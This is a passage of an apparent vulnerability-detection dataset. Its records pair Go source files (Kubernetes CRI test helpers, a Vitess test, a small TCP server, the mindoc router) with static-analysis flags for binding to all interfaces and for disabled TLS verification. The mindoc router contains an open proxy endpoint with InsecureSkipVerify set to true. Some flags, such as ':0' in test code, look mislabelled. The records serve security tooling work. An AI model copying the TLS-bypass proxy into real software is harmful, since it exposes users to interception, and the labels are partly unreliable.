ic internalapi.ImageManagerService, podID string, podConfig *runtimeapi.PodSandboxConfig, prefix string, add []string, drop []string) string {\n\tBy(\"create Capability container\")\n\tcontainerName := prefix + framework.NewUUID()\n\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\tCommand: pauseCmd,\n\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\tCapabilities: &runtimeapi.Capability{\n\t\t\t\t\tAddCapabilities: add,\n\t\t\t\t\tDropCapabilities: drop,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\treturn framework.CreateContainer(rc, ic, containerConfig, podID, podConfig)\n}\n\nfunc createAndCheckHostNetwork(rc internalapi.RuntimeService, ic internalapi.ImageManagerService, podSandboxName, hostNetworkPort string, hostNetwork bool) (podID, podLogDir string) {\n\tBy(fmt.Sprintf(\"creating a podSandbox with hostNetwork %v\", hostNetwork))\n\tnetNSMode := runtimeapi.NamespaceMode_POD\n\tif hostNetwork {\n\t\tnetNSMode = runtimeapi.NamespaceMode_NODE\n\t}\n\tnamespaceOptions := &runtimeapi.NamespaceOption{\n\t\tPid: runtimeapi.NamespaceMode_POD,\n\t\tIpc: runtimeapi.NamespaceMode_POD,\n\t\tNetwork: netNSMode,\n\t}\n\tpodLogDir, podLogPath := createLogTempDir(podSandboxName)\n\tpodID, podConfig := createNamespacePodSandbox(rc, namespaceOptions, podSandboxName, podLogPath)\n\n\tBy(\"create a container in the sandbox\")\n\tcommand := []string{\"sh\", \"-c\", \"netstat -ln\"}\n\tcontainerName := \"container-with-HostNetwork-test-\" + framework.NewUUID()\n\tpath := fmt.Sprintf(\"%s.log\", containerName)\n\tcontainerID, _, logPath := createNamespaceContainer(rc, ic, podID, podConfig, containerName, framework.TestContext.TestImageList.DefaultTestContainerImage, namespaceOptions, command, path)\n\n\tBy(\"start container\")\n\tstartContainer(rc, containerID)\n\n\tBy(\"checking host http service port in the container\")\n\tEventually(func() error {\n\t\tlog := parseLogLine(podConfig, logPath)\n\t\tfor _, msg := range log {\n\t\t\tif strings.Contains(string(msg.log), fmt.Sprintf(\":%s\", hostNetworkPort)) {\n\t\t\t\tif hostNetwork {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\n\t\t\t\treturn fmt.Errorf(\"host port %s should not in container's port list\", hostNetworkPort)\n\t\t\t}\n\t\t}\n\n\t\tif hostNetwork {\n\t\t\treturn fmt.Errorf(\"host port %s should be in container's port list\", hostNetworkPort)\n\t\t}\n\t\treturn nil\n\t}, time.Minute, time.Second).Should(BeNil())\n\n\treturn podID, podLogDir\n}\n\n// createSeccompProfileDir creates a seccomp test profile directory.\nfunc createSeccompProfileDir() (string, error) {\n\thostPath, err := ioutil.TempDir(\"\", \"seccomp-tests\")\n\tif err != nil {\n\t\treturn \"\", errors.Wrapf(err, \"create tempdir %q\", hostPath)\n\t}\n\treturn hostPath, nil\n}\n\n// createSeccompProfile creates a seccomp test profile with profileContents.\nfunc createSeccompProfile(profileContents string, profileName string, hostPath string) (string, error) {\n\tprofilePath := filepath.Join(hostPath, profileName)\n\terr := ioutil.WriteFile(profilePath, []byte(profileContents), 0644)\n\tif err != nil {\n\t\treturn \"\", errors.Wrapf(err, \"create %s\", profilePath)\n\t}\n\treturn profilePath, nil\n}\n\n// seccompTestContainer creates and starts a seccomp sandbox and a container.\nfunc seccompTestContainer(rc internalapi.RuntimeService, ic internalapi.ImageManagerService, seccompProfile string) (string, string) {\n\tBy(\"create seccomp sandbox\")\n\tpodSandboxName := \"seccomp-sandbox-\" + framework.NewUUID()\n\tuid := framework.DefaultUIDPrefix + framework.NewUUID()\n\tnamespace := framework.DefaultNamespacePrefix + framework.NewUUID()\n\tpodConfig := &runtimeapi.PodSandboxConfig{\n\t\tMetadata: framework.BuildPodSandboxMetadata(podSandboxName, uid, namespace, framework.DefaultAttempt),\n\t\tLinux: &runtimeapi.LinuxPodSandboxConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxSandboxSecurityContext{\n\t\t\t\tSeccompProfilePath: seccompProfile,\n\t\t\t},\n\t\t},\n\t\tLabels: framework.DefaultPodLabels,\n\t}\n\tpodID := framework.RunPodSandbox(rc, podConfig)\n\n\tBy(\"create container\")\n\tcontainerNamePrefix := fmt.Sprintf(\"seccomp-container-%s-%s\", strings.Replace(seccompProfile, \"/\", \"-\", -1), framework.NewUUID())\n\tcontainerName := containerNamePrefix + framework.NewUUID()\n\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\tCommand: pauseCmd,\n\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\tSeccompProfilePath: seccompProfile,\n\t\t\t},\n\t\t},\n\t}\n\tcontainerID := framework.CreateContainer(rc, ic, containerConfig, podID, podConfig)\n\n\tBy(\"start container\")\n\tstartContainer(rc, containerID)\n\tEventually(func() runtimeapi.ContainerState {\n\t\treturn getContainerStatus(rc, containerID).State\n\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\treturn podID, containerID\n}\n\nfunc verifySeccomp(rc internalapi.RuntimeService, containerID string, command []string, expectError bool, output string) {\n\tstdout, stderr, err := rc.ExecSync(containerID, command, time.Duration(defaultExecSyncTimeout)*time.Second)\n\tmsg := fmt.Sprintf(\"cmd %v, stdout %q, stderr %q, with err: %v\", command, stdout, stderr, err)\n\n\tif expectError {\n\t\tExpect(err).To(HaveOccurred(), msg)\n\t\tExpect(string(stderr)).To(ContainSubstring(output))\n\t} else {\n\t\tExpect(err).NotTo(HaveOccurred(), msg)\n\t\tExpect(string(stdout)).To(ContainSubstring(output))\n\t}\n}\n\n// createSeccompContainer creates container with the specified seccomp profile.\nfunc createSeccompContainer(rc internalapi.RuntimeService,\n\tic internalapi.ImageManagerService,\n\tpodID string,\n\tpodConfig *runtimeapi.PodSandboxConfig,\n\tprefix string,\n\tprofile string,\n\tcaps []string,\n\tprivileged bool,\n\texpectContainerCreateToPass bool) string {\n\tBy(\"create \" + profile + \" Seccomp container\")\n\tcontainerName := prefix + framework.NewUUID()\n\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\tCommand: []string{\"sleep\", \"60\"},\n\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\tPrivileged: privileged,\n\t\t\t\tCapabilities: &runtimeapi.Capability{\n\t\t\t\t\tAddCapabilities: caps,\n\t\t\t\t},\n\t\t\t\tSeccompProfilePath: profile,\n\t\t\t},\n\t\t},\n\t}\n\n\treturn createContainerWithExpectation(rc, ic, containerConfig, podID, podConfig, expectContainerCreateToPass)\n}\n\n// createContainerWithExpectation creates a container with the prefix of containerName\n// and expectation of failure or success, depending on parameter, in the create step.\nfunc createContainerWithExpectation(rc internalapi.RuntimeService,\n\tic internalapi.ImageManagerService,\n\tconfig *runtimeapi.ContainerConfig,\n\tpodID string,\n\tpodConfig *runtimeapi.PodSandboxConfig,\n\texpectContainerCreateToPass bool) string {\n\t// Pull the image if it does not exist. (don't fail for inability to pull image)\n\timageName := config.Image.Image\n\tif !strings.Contains(imageName, \":\") {\n\t\timageName = imageName + \":latest\"\n\t}\n\tstatus := framework.ImageStatus(ic, imageName)\n\tif status == nil {\n\t\tframework.PullPublicImage(ic, imageName, nil)\n\t}\n\tBy(\"Create container.\")\n\tcontainerID, err := rc.CreateContainer(podID, config, podConfig)\n\n\tif !expectContainerCreateToPass {\n\t\tmsg := fmt.Sprintf(\"create should fail with err %v\", err)\n\t\tExpect(err).To(HaveOccurred(), msg)\n\t} else {\n\t\tframework.ExpectNoError(err, \"failed to create container: %v\", err)\n\t\tframework.Logf(\"Created container %q\\n\", containerID)\n\t}\n\treturn containerID\n}\n\n// checkSetHostname checks if the hostname can be set in the container.\nfunc checkSetHostname(rc internalapi.RuntimeService, containerID string, setable bool) {\n\tBy(\"set hostname in container to determine whether sethostname is blocked\")\n\n\tcmd := []string{\"hostname\", \"ANewHostName\"}\n\tstdout, stderr, err := rc.ExecSync(containerID, cmd, time.Duration(defaultExecSyncTimeout)*time.Second)\n\tmsg := fmt.Sprintf(\"cmd %v, stdout %q, stderr %q\", cmd, stdout, stderr)\n\n\tif setable {\n\t\tExpect(err).NotTo(HaveOccurred(), msg)\n\t} else {\n\t\tExpect(err).To(HaveOccurred(), msg)\n\t}\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 245, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "80f4475e296e153a1c1278b25a700e7673255c8bd6a0a0ec29194d4f97346dd8", "license": {"spdx": ["Apache-2.0"], "repo": "jonnyguio/tcc", "path": "chapter-4/server-client/server/server.go", "repo_head_hexsha": "d45670dd650c39e6f147ed2db134c20b8ad26ee8", "stack_hexsha": "5493c1c79757e7798fd0b28b9378a37997b6af62", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 11, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n)\n\nfunc main() {\n\tln, _ := net.Listen(\"tcp\", \":3000\")\n\n\tfor {\n\t\tconn, err := ln.Accept()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Can't listen to socket\")\n\t\t\tbreak\n\t\t}\n\t\tgo func() {\n\t\t\tmessage, _ := bufio.NewReader(conn).ReadString('\\n')\n\n\t\t\tfmt.Print(\"Message received:\", string(message))\n\n\t\t\tnewMessage := strings.ToUpper(message)\n\n\t\t\tconn.Write([]byte(newMessage + \"\\n\"))\n\t\t}()\n\t}\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "f6a7e11fc87dd35596c8286ffb0d67a4da4b65cbc94ce7b5ecbc4e61f6421c73", "license": {"spdx": ["Apache-2.0"], "repo": "q384566678/vitess", "path": "go/vt/vttablet/grpctabletconn/conn_test.go", "repo_head_hexsha": "cbef96abe59d0cf3547f7c6d824b57f176d1531e", "stack_hexsha": "943cbdd134c4e37bbe98c6aa517bfea2df9c12a7", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 41, "entireCode": "/*\nCopyright 2019 The Vitess Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage grpctabletconn\n\nimport (\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"os\"\n\t\"testing\"\n\n\t\"google.golang.org/grpc\"\n\n\t\"vitess.io/vitess/go/vt/servenv\"\n\t\"vitess.io/vitess/go/vt/vttablet/grpcqueryservice\"\n\t\"vitess.io/vitess/go/vt/vttablet/tabletconntest\"\n\n\ttopodatapb \"vitess.io/vitess/go/vt/proto/topodata\"\n)\n\n// This test makes sure the go rpc service works\nfunc TestGRPCTabletConn(t *testing.T) {\n\t// fake service\n\tservice := tabletconntest.CreateFakeServer(t)\n\n\t// listen on a random port\n\tlistener, err := net.Listen(\"tcp\", \":0\")\n\tif err != nil {\n\t\tt.Fatalf(\"Cannot listen: %v\", err)\n\t}\n\thost := listener.Addr().(*net.TCPAddr).IP.String()\n\tport := listener.Addr().(*net.TCPAddr).Port\n\n\t// Create a gRPC server and listen on the port\n\tserver := grpc.NewServer()\n\tgrpcqueryservice.Register(server, service)\n\tgo server.Serve(listener)\n\n\t// run the test suite\n\ttabletconntest.TestSuite(t, protocolName, &topodatapb.Tablet{\n\t\tKeyspace: tabletconntest.TestTarget.Keyspace,\n\t\tShard: tabletconntest.TestTarget.Shard,\n\t\tType: tabletconntest.TestTarget.TabletType,\n\t\tHostname: host,\n\t\tPortMap: map[string]int32{\n\t\t\t\"grpc\": int32(port),\n\t\t},\n\t}, service, nil)\n}\n\n// This test makes sure the go rpc client auth works\nfunc TestGRPCTabletAuthConn(t *testing.T) {\n\t// fake service\n\tservice := tabletconntest.CreateFakeServer(t)\n\n\t// listen on a random port\n\tlistener, err := net.Listen(\"tcp\", \":0\")\n\tif err != nil {\n\t\tt.Fatalf(\"Cannot listen: %v\", err)\n\t}\n\thost := listener.Addr().(*net.TCPAddr).IP.String()\n\tport := listener.Addr().(*net.TCPAddr).Port\n\n\t// Create a gRPC server and listen on the port\n\tvar opts []grpc.ServerOption\n\topts = append(opts, grpc.StreamInterceptor(servenv.FakeAuthStreamInterceptor))\n\topts = append(opts, grpc.UnaryInterceptor(servenv.FakeAuthUnaryInterceptor))\n\tserver := grpc.NewServer(opts...)\n\n\tgrpcqueryservice.Register(server, service)\n\tgo server.Serve(listener)\n\n\tauthJSON := `{\n \"Username\": \"valid\",\n \"Password\": \"\"\n }`\n\n\tf, err := ioutil.TempFile(\"\", \"static_auth_creds.json\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer os.Remove(f.Name())\n\tif _, err := io.WriteString(f, authJSON); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif err := f.Close(); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// run the test suite\n\ttabletconntest.TestSuite(t, protocolName, &topodatapb.Tablet{\n\t\tKeyspace: tabletconntest.TestTarget.Keyspace,\n\t\tShard: tabletconntest.TestTarget.Shard,\n\t\tType: tabletconntest.TestTarget.TabletType,\n\t\tHostname: host,\n\t\tPortMap: map[string]int32{\n\t\t\t\"grpc\": int32(port),\n\t\t},\n\t}, service, f)\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 41, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "d16ccb29f850c0aed19361f47c2472b0ee7394e24bdeaeba1cddd39222f7160c", "license": {"spdx": ["Apache-2.0"], "repo": "jh244212647/mindoc", "path": "routers/router.go", "repo_head_hexsha": "88d2207abeaf4fe1ccffd898b82f6759a83f2595", "stack_hexsha": "d2eaf8807591397e9406e59cc03656b303a71f37", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 71, "entireCode": "package routers\n\nimport (\n\t\"crypto/tls\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/beego/beego/v2/core/logs\"\n\t\"github.com/beego/beego/v2/server/web\"\n\t\"github.com/beego/beego/v2/server/web/context\"\n\t\"github.com/mindoc-org/mindoc/conf\"\n\t\"github.com/mindoc-org/mindoc/controllers\"\n)\n\nfunc rt(req *http.Request) (*http.Response, error) {\n\tlog.Printf(\"request received. url=%s\", req.URL)\n\t// req.Header.Set(\"Host\", \"httpbin.org\") // <--- I set it here as well\n\tdefer log.Printf(\"request complete. url=%s\", req.URL)\n\n\treturn http.DefaultTransport.RoundTrip(req)\n}\n\n// roundTripper makes func signature a http.RoundTripper\ntype roundTripper func(*http.Request) (*http.Response, error)\n\nfunc (f roundTripper) RoundTrip(req *http.Request) (*http.Response, error) { return f(req) }\n\ntype CorsTransport struct {\n\thttp.RoundTripper\n}\n\nfunc (t *CorsTransport) RoundTrip(req *http.Request) (resp *http.Response, err error) {\n\t// refer:\n\t// - https://stackoverflow.com/questions/31535569/golang-how-to-read-response-body-of-reverseproxy/31536962#31536962\n\t// - https://gist.github.com/simon-cj/b4da0b2bca793ec3b8a5abe04c8fca41\n\tresp, err = t.RoundTripper.RoundTrip(req)\n\tlogs.Debug(resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp.Header.Del(\"Access-Control-Request-Method\")\n\tresp.Header.Set(\"Access-Control-Allow-Origin\", \"*\")\n\treturn resp, nil\n}\n\nfunc init() {\n\tweb.Any(\"/cors-anywhere\", func(ctx *context.Context) {\n\t\tu, _ := url.PathUnescape(ctx.Input.Query(\"url\"))\n\t\tlogs.Error(\"ReverseProxy: \", u)\n\t\tif len(u) > 0 && strings.HasPrefix(u, \"http\") {\n\t\t\tif strings.TrimRight(conf.BaseUrl, \"/\") == ctx.Input.Site() {\n\t\t\t\tctx.Redirect(302, u)\n\t\t\t} else {\n\t\t\t\ttarget, _ := url.Parse(u)\n\t\t\t\tlogs.Debug(\"target: \", target)\n\n\t\t\t\tproxy := &httputil.ReverseProxy{\n\t\t\t\t\tTransport: roundTripper(rt),\n\t\t\t\t\tDirector: func(req *http.Request) {\n\t\t\t\t\t\treq.Header = ctx.Request.Header\n\t\t\t\t\t\treq.URL.Scheme = target.Scheme\n\t\t\t\t\t\treq.URL.Host = target.Host\n\t\t\t\t\t\treq.URL.Path = target.Path\n\t\t\t\t\t\treq.Header.Set(\"Host\", target.Host)\n\t\t\t\t\t},\n\t\t\t\t}\n\n\t\t\t\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\t\t\t\tproxy.ServeHTTP(ctx.ResponseWriter, ctx.Request)\n\t\t\t}\n\t\t} else {\n\t\t\tctx.ResponseWriter.WriteHeader(http.StatusBadRequest)\n\t\t\tctx.Output.Body([]byte(\"400 Bad Request\"))\n\t\t}\n\t})\n\n\tweb.Router(\"/\", &controllers.HomeController{}, \"*:Index\")\n\n\tweb.Router(\"/login\", &controllers.AccountController{}, \"*:Login\")\n\tweb.Router(\"/dingtalk_login\", &controllers.AccountController{}, \"*:DingTalkLogin\")\n\tweb.Router(\"/qrlogin/:app\", &controllers.AccountController{}, \"*:QRLogin\")\n\tweb.Router(\"/logout\", &controllers.AccountController{}, \"*:Logout\")\n\tweb.Router(\"/register\", &controllers.AccountController{}, \"*:Register\")\n\tweb.Router(\"/find_password\", &controllers.AccountController{}, \"*:FindPassword\")\n\tweb.Router(\"/valid_email\", &controllers.AccountController{}, \"post:ValidEmail\")\n\tweb.Router(\"/captcha\", &controllers.AccountController{}, \"*:Captcha\")\n\n\tweb.Router(\"/manager\", &controllers.ManagerController{}, \"*:Index\")\n\tweb.Router(\"/manager/users\", &controllers.ManagerController{}, \"*:Users\")\n\tweb.Router(\"/manager/users/edit/:id\", &controllers.ManagerController{}, \"*:EditMember\")\n\tweb.Router(\"/manager/member/create\", &controllers.ManagerController{}, \"post:CreateMember\")\n\tweb.Router(\"/manager/member/delete\", &controllers.ManagerController{}, \"post:DeleteMember\")\n\tweb.Router(\"/manager/member/update-member-status\", &controllers.ManagerController{}, \"post:UpdateMemberStatus\")\n\tweb.Router(\"/manager/member/change-member-role\", &controllers.ManagerController{}, \"post:ChangeMemberRole\")\n\tweb.Router(\"/manager/books\", &controllers.ManagerController{}, \"*:Books\")\n\tweb.Router(\"/manager/books/edit/:key\", &controllers.ManagerController{}, \"*:EditBook\")\n\tweb.Router(\"/manager/books/delete\", &controllers.ManagerController{}, \"*:DeleteBook\")\n\n\tweb.Router(\"/manager/comments\", &controllers.ManagerController{}, \"*:Comments\")\n\tweb.Router(\"/manager/setting\", &controllers.ManagerController{}, \"*:Setting\")\n\tweb.Router(\"/manager/books/token\", &controllers.ManagerController{}, \"post:CreateToken\")\n\tweb.Router(\"/manager/books/transfer\", &controllers.ManagerController{}, \"post:Transfer\")\n\tweb.Router(\"/manager/books/open\", &controllers.ManagerController{}, \"post:PrivatelyOwned\")\n\n\tweb.Router(\"/manager/attach/list\", &controllers.ManagerController{}, \"*:AttachList\")\n\tweb.Router(\"/manager/attach/detailed/:id\", &controllers.ManagerController{}, \"*:AttachDetailed\")\n\tweb.Router(\"/manager/attach/delete\", &controllers.ManagerController{}, \"post:AttachDelete\")\n\tweb.Router(\"/manager/label/list\", &controllers.ManagerController{}, \"get:LabelList\")\n\tweb.Router(\"/manager/label/delete/:id\", &controllers.ManagerController{}, \"post:LabelDelete\")\n\n\t//web.Router(\"/manager/config\", &controllers.ManagerController{}, \"*:Config\")\n\n\tweb.Router(\"/manager/team\", &controllers.ManagerController{}, \"*:Team\")\n\tweb.Router(\"/manager/team/create\", &controllers.ManagerController{}, \"POST:TeamCreate\")\n\tweb.Router(\"/manager/team/edit\", &controllers.ManagerController{}, \"POST:TeamEdit\")\n\tweb.Router(\"/manager/team/delete\", &controllers.ManagerController{}, \"POST:TeamDelete\")\n\n\tweb.Router(\"/manager/team/member/list/:id\", &controllers.ManagerController{}, \"*:TeamMemberList\")\n\tweb.Router(\"/manager/team/member/add\", &controllers.ManagerController{}, \"POST:TeamMemberAdd\")\n\tweb.Router(\"/manager/team/member/delete\", &controllers.ManagerController{}, \"POST:TeamMemberDelete\")\n\tweb.Router(\"/manager/team/member/change_role\", &controllers.ManagerController{}, \"POST:TeamChangeMemberRole\")\n\tweb.Router(\"/manager/team/member/search\", &controllers.ManagerController{}, \"*:TeamSearchMember\")\n\n\tweb.Router(\"/manager/team/book/list/:id\", &controllers.ManagerController{}, \"*:TeamBookList\")\n\tweb.Router(\"/manager/team/book/add\", &controllers.ManagerController{}, \"POST:TeamBookAdd\")\n\tweb.Router(\"/manager/team/book/delete\", &controllers.ManagerController{}, \"POST:TeamBookDelete\")\n\tweb.Router(\"/manager/team/book/search\", &controllers.ManagerController{}, \"*:TeamSearchBook\")\n\n\tweb.Router(\"/manager/itemsets\", &controllers.ManagerController{}, \"*:Itemsets\")\n\tweb.Router(\"/manager/itemsets/edit\", &controllers.ManagerController{}, \"post:ItemsetsEdit\")\n\tweb.Router(\"/manager/itemsets/delete\", &controllers.ManagerController{}, \"post:ItemsetsDelete\")\n\n\tweb.Router(\"/setting\", &controllers.SettingController{}, \"*:Index\")\n\tweb.Router(\"/setting/password\", &controllers.SettingController{}, \"*:Password\")\n\tweb.Router(\"/setting/upload\", &controllers.SettingController{}, \"*:Upload\")\n\n\tweb.Router(\"/book\", &controllers.BookController{}, \"*:Index\")\n\tweb.Router(\"/book/:key/dashboard\", &controllers.BookController{}, \"*:Dashboard\")\n\tweb.Router(\"/book/:key/setting\", &controllers.BookController{}, \"*:Setting\")\n\tweb.Router(\"/book/:key/users\", &controllers.BookController{}, \"*:Users\")\n\tweb.Router(\"/book/:key/release\", &controllers.BookController{}, \"post:Release\")\n\tweb.Router(\"/book/:key/sort\", &controllers.BookController{}, \"post:SaveSort\")\n\tweb.Router(\"/book/:key/teams\", &controllers.BookController{}, \"*:Team\")\n\n\tweb.Router(\"/book/create\", &controllers.BookController{}, \"*:Create\")\n\tweb.Router(\"/book/itemsets/search\", &controllers.BookController{}, \"*:ItemsetsSearch\")\n\n\tweb.Router(\"/book/users/create\", &controllers.BookMemberController{}, \"post:AddMember\")\n\tweb.Router(\"/book/users/change\", &controllers.BookMemberController{}, \"post:ChangeRole\")\n\tweb.Router(\"/book/users/delete\", &controllers.BookMemberController{}, \"post:RemoveMember\")\n\tweb.Router(\"/book/users/import\", &controllers.BookController{}, \"post:Import\")\n\tweb.Router(\"/book/users/copy\", &controllers.BookController{}, \"post:Copy\")\n\n\tweb.Router(\"/book/setting/save\", &controllers.BookController{}, \"post:SaveBook\")\n\tweb.Router(\"/book/setting/open\", &controllers.BookController{}, \"post:PrivatelyOwned\")\n\tweb.Router(\"/book/setting/transfer\", &controllers.BookController{}, \"post:Transfer\")\n\tweb.Router(\"/book/setting/upload\", &controllers.BookController{}, \"post:UploadCover\")\n\tweb.Router(\"/book/setting/delete\", &controllers.BookController{}, \"post:Delete\")\n\n\tweb.Router(\"/book/team/add\", &controllers.BookController{}, \"POST:TeamAdd\")\n\tweb.Router(\"/book/team/delete\", &controllers.BookController{}, \"POST:TeamDelete\")\n\tweb.Router(\"/book/team/search\", &controllers.BookController{}, \"*:TeamSearch\")\n\n\t//管理文章的路由\n\tweb.Router(\"/manage/blogs\", &controllers.BlogController{}, \"*:ManageList\")\n\tweb.Router(\"/manage/blogs/setting/?:id\", &controllers.BlogController{}, \"*:ManageSetting\")\n\tweb.Router(\"/manage/blogs/edit/?:id\", &controllers.BlogController{}, \"*:ManageEdit\")\n\tweb.Router(\"/manage/blogs/delete\", &controllers.BlogController{}, \"post:ManageDelete\")\n\tweb.Router(\"/manage/blogs/upload\", &controllers.BlogController{}, \"post:Upload\")\n\tweb.Router(\"/manage/blogs/attach/:id\", &controllers.BlogController{}, \"post:RemoveAttachment\")\n\n\t//读文章的路由\n\tweb.Router(\"/blogs\", &controllers.BlogController{}, \"*:List\")\n\tweb.Router(\"/blog-attach/:id:int/:attach_id:int\", &controllers.BlogController{}, \"get:Download\")\n\tweb.Router(\"/blog-:id([0-9]+).html\", &controllers.BlogController{}, \"*:Index\")\n\n\t//模板相关接口\n\tweb.Router(\"/api/template/get\", &controllers.TemplateController{}, \"get:Get\")\n\tweb.Router(\"/api/template/list\", &controllers.TemplateController{}, \"post:List\")\n\tweb.Router(\"/api/template/add\", &controllers.TemplateController{}, \"post:Add\")\n\tweb.Router(\"/api/template/remove\", &controllers.TemplateController{}, \"post:Delete\")\n\n\tweb.Router(\"/api/attach/remove/\", &controllers.DocumentController{}, \"post:RemoveAttachment\")\n\tweb.Router(\"/api/:key/edit/?:id\", &controllers.DocumentController{}, \"*:Edit\")\n\tweb.Router(\"/api/upload\", &controllers.DocumentController{}, \"post:Upload\")\n\tweb.Router(\"/api/:key/create\", &controllers.DocumentController{}, \"post:Create\")\n\tweb.Router(\"/api/:key/delete\", &controllers.DocumentController{}, \"post:Delete\")\n\tweb.Router(\"/api/:key/content/?:id\", &controllers.DocumentController{}, \"*:Content\")\n\tweb.Router(\"/api/:key/compare/:id\", &controllers.DocumentController{}, \"*:Compare\")\n\tweb.Router(\"/api/search/user/:key\", &controllers.SearchController{}, \"*:User\")\n\n\tweb.Router(\"/history/get\", &controllers.DocumentController{}, \"get:History\")\n\tweb.Router(\"/history/delete\", &controllers.DocumentController{}, \"*:DeleteHistory\")\n\tweb.Router(\"/history/restore\", &controllers.DocumentController{}, \"*:RestoreHistory\")\n\n\tweb.Router(\"/docs/:key\", &controllers.DocumentController{}, \"*:Index\")\n\tweb.Router(\"/docs/:key/:id\", &controllers.DocumentController{}, \"*:Read\")\n\tweb.Router(\"/docs/:key/search\", &controllers.DocumentController{}, \"post:Search\")\n\tweb.Router(\"/export/:key\", &controllers.DocumentController{}, \"*:Export\")\n\tweb.Router(\"/qrcode/:key.png\", &controllers.DocumentController{}, \"get:QrCode\")\n\n\tweb.Router(\"/attach_files/:key/:attach_id\", &controllers.DocumentController{}, \"get:DownloadAttachment\")\n\n\tweb.Router(\"/comment/create\", &controllers.CommentController{}, \"post:Create\")\n\tweb.Router(\"/comment/lists\", &controllers.CommentController{}, \"get:Lists\")\n\tweb.Router(\"/comment/index\", &controllers.CommentController{}, \"*:Index\")\n\n\tweb.Router(\"/search\", &controllers.SearchController{}, \"get:Index\")\n\n\tweb.Router(\"/tag/:key\", &controllers.LabelController{}, \"get:Index\")\n\tweb.Router(\"/tags\", &controllers.LabelController{}, \"get:List\")\n\n\tweb.Router(\"/items\", &controllers.ItemsetsController{}, \"get:Index\")\n\tweb.Router(\"/items/:key\", 